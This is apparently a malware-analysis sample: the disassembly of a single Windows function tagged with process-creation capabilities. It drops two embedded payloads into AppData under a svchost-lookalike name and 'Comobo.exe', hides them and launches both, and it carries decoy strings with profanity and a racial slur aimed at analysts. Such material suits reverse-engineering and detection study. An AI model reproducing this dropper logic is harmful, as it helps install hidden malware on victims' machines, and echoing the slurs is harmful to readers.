Function at 0x401a4d
Capabilities:
Create process on windows
Create process suspended
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2b4
mov eax, dword [0x425040]
xor eax, esp
mov dword [esp + 0x2b0], eax
push ebx
push esi
push edi
mov edx, 0x421ec8
call fcn.00401ebc
push eax
call fcn.00402060
pop ecx
mov edx, str.Hi_mother_fuckers_what_are_you_looking_for_here___just_go_fuck_ur_self
call fcn.00401ebc
push eax
call fcn.00402060
pop ecx
mov edx, str.Nik_mok_elkahba
call fcn.00401ebc
push eax
call fcn.00402060
pop ecx
mov edx, str.You_will_improve_your_reading_comprehension_and_develop_your_vocabulary_on_a_diverse_range_of_international_events__celebrations_and_topics._Each_article_has_interactive_exercises_to_help_you_understand_and_use_the_language
call fcn.00401ebc
push eax
call fcn.00402060
pop ecx
mov edx, str.A_pointer_to_the_base_address_in_the_specified_process_from_which_to_read._Before_any_data_transfer_occurs__the_system_verifies_that_all_data_in_the_base_address_and_memory_of_the_specified_size_is_accessible_for_read_access__and_if_it_is_not_accessible_the_function_fails.
call fcn.00401ebc
push eax
call fcn.00402060
pop ecx
mov edx, str.A_pointer_to_a_variable_that_receives_the_number_of_bytes_transferred_into_the_specified_buffer._If_lpNumberOfBytesRead_is_NULL__the_parameter_is_ignored.
call fcn.00401ebc
push eax
call fcn.00402060
pop ecx
mov edx, str.Hi_nigga
call fcn.00401ebc
push eax
call fcn.00402060
pop ecx
lea eax, [esp + 0xb0]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x401c38
lea eax, [esp + 0xb0]
push eax
lea ecx, [esp + 0x14]
call fcn.00401c64
mov edi, str._svchostwit.exe
mov esi, eax
push edi
call fcn.00409226
pop ecx
push eax
push edi
mov ecx, esi
call fcn.0040269d
push eax
lea ecx, [esp + 0x54]
call fcn.00402543
lea ecx, [esp + 0x10]
call fcn.00401d2d
push str.Comobo.exe
lea ecx, [esp + 0x3c]
call fcn.00401c64
push 0x50800
mov edx, 0x425ac8
lea ecx, [esp + 0x54]
call fcn.004019d6
mov edx, 0x4762c8
mov dword [esp], 0x22000
lea ecx, [esp + 0x3c]
call fcn.004019d6
cmp dword [esp + 0x68], 7
lea eax, [esp + 0x54]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmova eax, dword [esp + 0x54]
pop ecx
push 2
push eax
call esi
cmp dword [esp + 0x4c], 7
lea eax, [esp + 0x38]
push 2
cmova eax, dword [esp + 0x3c]
push eax
call esi
push 0x40
lea eax, [esp + 0x70]
mov dword [esp + 0x6c], 0x44
push ebx
push eax
call fcn.004061c0
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp dword [esp + 0x64], 7
lea ecx, [esp + 0x28]
lea eax, [esp + 0x50]
cmova eax, dword [esp + 0x50]
push ecx
lea ecx, [esp + 0x6c]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x401bf2
push dword [esp + 0x28]
call esi
push dword [esp + 0x2c]
call esi
cmp dword [esp + 0x4c], 7
lea ecx, [esp + 0x28]
push ecx
lea ecx, [esp + 0x6c]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x58]
cmova eax, dword [esp + 0x58]
push ebx
push eax
call edi
test eax, eax
je 0x401c24
push dword [esp + 0x28]
call esi
push dword [esp + 0x2c]
call esi
lea ecx, [esp + 0x38]
call fcn.00401d2d
lea ecx, [esp + 0x50]
call fcn.00401d2d
xor eax, eax
mov ecx, dword [esp + 0x2bc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00404a93
mov esp, ebp
pop ebp
ret 0x10